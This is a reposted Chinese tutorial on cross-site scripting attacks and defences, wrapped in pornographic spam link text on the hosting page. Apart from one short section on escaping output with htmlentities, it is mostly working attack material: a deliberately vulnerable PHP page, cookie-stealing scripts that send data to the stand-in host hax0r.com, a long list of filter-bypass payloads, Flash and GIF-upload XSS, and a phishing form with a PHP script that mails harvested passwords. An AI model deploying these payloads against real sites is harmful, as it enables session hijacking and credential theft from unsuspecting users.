欧美三区_成人在线免费观看视频_欧美极品少妇xxxxⅹ免费视频_a级毛片免费播放_鲁一鲁中文字幕久久_亚洲一级特黄

跨站腳本攻擊XSS攻擊與防范指南

系統 1865 0
跨站腳本攻擊XSS攻擊與防范指南

文章目錄

XSS攻擊與防范指南... 1

第一章、XSS的定義... 1

第二章、XSS漏洞代碼... 1

第三章、利用XSS盜取cookies. 3

第四章、防范XSS漏洞... 4

第四章、XSS攻擊方法... 4

第六章、利用Flash進行XSS攻擊... 6

第七章、上傳文件進行XSS攻擊... 7

第八章、利用XSS漏洞進行釣魚... 7



第一章、XSS的定義
從Wikipedia搜索跨站腳本,解釋到跨區腳本(Cross-zone Scripting或者Cross Site Scripting)是指瀏覽器利用瀏覽器一些有漏洞的安全解決方案,這種攻擊使沒有權限跨站腳本在未經授權的情況下以較高的權限去執行,腳本的執行權限被客戶端(Web瀏覽器)擴大升級了。
這些XSS跨站腳本漏洞可能是:
*網頁瀏覽器設計缺陷使得在一定的條件下,一個站點完全信任另外一個高權限的站點(或者連個高低權限區域)并去執行高權限站點的腳本。
*網頁瀏覽器配置錯誤,把不安全的網站放在瀏覽器高信任列表。
*信任站點(特權區域)存在跨站腳本漏洞
一般的跨站腳本攻擊包含兩個步驟。首先是利用跨站腳本漏洞以一個特權模式去執行攻擊者構造的腳本,然后利用不安全的ActiveX控件執行惡意的行為。通常在安靜模式讓計算機瀏覽攻擊者指定的網頁悄悄下載安裝各種惡意代碼,如間諜軟件、木馬軟件、蠕蟲等。
第二章、XSS漏洞代碼
打開記事本,復制下面的代碼到幾時本中:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value=" Search it ! " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>

然后,保存這個頁面為index.html。并去復制下面的代碼到記事本:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>

保存為Xss.php,關閉記事本。用firefox打開index.html,在搜索框里面輸入一串字符串正常搜索,回車。然后重新在搜索框里輸入<script>alert('XSS')</script>,單擊發送。這時候頁面會彈出一個提示窗口。這就是跨站腳本漏洞。

第三章、利用XSS盜取cookies
在一個有漏洞的頁面插入下面的代碼,例如一個留言本里

<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = 攻擊者的網站)

用記事本新建文件: cookie.php,把下面的代碼拷貝到文件里來。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli ', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>
這樣是僅僅不夠的,還要去等待收到電子郵件,閱讀讀盜取到的cookie。

第四章、防范XSS漏洞
如何修復這個漏洞呢?

我們可以使用htmlentities函數來修復這個漏洞。在替換上面的XSS.php第16行:

<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
為:

<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
還可以使用php的內置函數htmlspecialchars(),還有其他函數htmlentities()、strip_tags()等。

第四章、XSS攻擊方法
利用XSS進行攻擊是一件相當簡單的事情,這里主要講幾種攻擊方式……

圖片攻擊:<IMG SRC="http://hax0r.com/Haxored.png">

或者視頻flash:<EMBED SRC= http://hax0r.com/Haxored.swf

還有網站重定向:<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>

也可以:<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />

繞過過濾進一步發現XSS

事實上繞過htmlspecialchars()的過濾是非常簡單的,這里有一些繞過過濾的方法:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red']mouse over

<body

<body>

click me

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>
這里并不包含了所有的攻擊方法,Google是你的好朋友,可以通過它找到更多的方法。

第六章、利用Flash進行XSS攻擊
Flash是用于復雜的動畫,仿真和游戲開發等。非常有趣的是Flash的getURL()動作,它可以使我們的頁面重定向到函數指定的頁面,改函數的語法如下:

getURL(url:String, [window: String,[method:String]])
例如:getURL("http://victime.com/login.php?logout=true","_self");

該函數的各個參數為:
url: 重定向的網站url
window: 設置重定向的窗口打開方式 (_self, _blank…)
method: 請求頁面的方式 GET 或者 POST

下面運用actionscrip來彈出警告窗口的方法:

getURL("javascript:alert('XSS'");

在2002年的時候,曾經公布這個函數的危險性,例如可以用下面的方式來獲取瀏覽者的cookie:

getURL("javascript:alert(document.cookie)")

在2005年12月的時候,對getURL()進行了改進,改進了在flash文件簽名中輸入XSS語句從而導致永久性XSS攻擊的漏洞。官方采用這種更新是為了防止再次爆發MySpace中傳播Samy Xss蠕蟲,Samy可以隱藏在flash中盜取cookies。
但是這樣的更新就解決了XSS嗎?不,目前還沒有完全解決flash的XSS問題,下面的例子來說明,在flash文件中輸入:

GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");

Haxored.js中的代碼如下:

document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;

當然最為簡單的安全解決方案就是不要在網站中使用flash。

第七章、上傳文件進行XSS攻擊
在畫圖工具里創建一個Haxored.gif圖片,然后用記事本打開它,刪除所有行并插入下面的內容:

GIF89a<script>alert("XSS")</script>

保存并關閉它。

然后把Haxored.gif上傳到一個免費的圖片網站上,再查看你的圖片,XSS就產生了……不要用Mozillia Firefox來瀏覽圖片,因為Mozillia Firefox不能運行該腳本,該攻擊適用于Internet explorer瀏覽器。

為什么在腳本前面添加GIF89a呢?一般上傳圖片會這樣的,在各個.gif文件中檢查是否包含'GIF89a'代碼。這個通過檢查文件GIF89a代碼對上傳結果進行確認的漏洞,并沒有檢查圖片里的惡意代碼。

GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>

要了解其他圖片格式的文件代碼,只需要使用文件編輯器打開.jpg及其它格式的圖片就可以知道了,例如一個png格式的文件:‰PNG

PNG = ‰PNG
GIF = GIF89a
JPG = &yuml;&Oslash;&yuml;à JFIF
BMP = BMF&Ouml;
為了安全不能僅僅依靠getimagesize()函數來檢查圖片。

第八章、利用XSS漏洞進行釣魚
你了解釣魚(phishing)的目的嗎?你了解XSS的目的嗎?

在我們的例子中,將有必要找一個存在XSS漏洞的網站,并在一個form表單里注入一個URL重定向的代碼:

<p>Enter your login and password, thank:</p>

<form action="http://hax0r.com/mail.php">

<table><tr><td>Login:</td><td><input type=text length=20 name=login>

</td></tr><tr><td>Password:</td><td>

<input type=text length=20 name=password>

</td></tr></table><input type=submit value= OK >

</form>

你已經猜到這個腳本將冒充一個form表單來發送用戶名及密碼給代你,下面的php文件是用來發送email的(mail.php):



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli ", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>

用戶提交后看到這個頁面會認為網頁等待與超載是正常的,而不會有所懷疑什么,我相信你已經明白這個道理了?

轉自: http://www.iteye.com/topic/754330

跨站腳本攻擊XSS攻擊與防范指南


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦?。。?/p>

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 色婷婷久久久亚洲一区二区三区 | 日本一区二区三区免费高清在线 | 男人天堂av网站 | 国产一国产一有一级毛片 | 舔操| 久久综合久久久久 | 激情亚洲视频 | 九九色综合 | 欧美综合亚洲 | 免费看一级视频 | 欧美日韩一区二区在线 | 日韩成人免费视频 | 成人精品一区 | 污视频导航 | 国产精品果冻麻豆精东天美 | 二级黄的全免费视频 | 精品一区二区久久久久久久网站 | 国产精品久久福利新婚之夜 | 插插插91 | 欧美14一18处毛片 | 日日操视频 | 国内精品久久久久影院老司 | 国产精品成人免费一区久久羞羞 | 毛片在线观看视频 | 国产精品极品美女在线观看免费 | 精产国产伦理一二三区 | av在线网站观看 | 日韩在线小视频 | 欧美极品一区二区 | 国产欧美精品一区二区 | 四虎新网站 | 欧美日韩国产中文字幕 | 六月婷婷六月天 | 欧美成人久久一级c片免费 91在线免费视频 | 狠狠综合久久久久综 | 电视剧全部免费观看 | 亚洲 欧美 另类 综合 偷拍 | 麻豆视频在线播放 | 欧美第5页 | 欧美地区一二三区 | 孕妇体内谢精满日本电影 |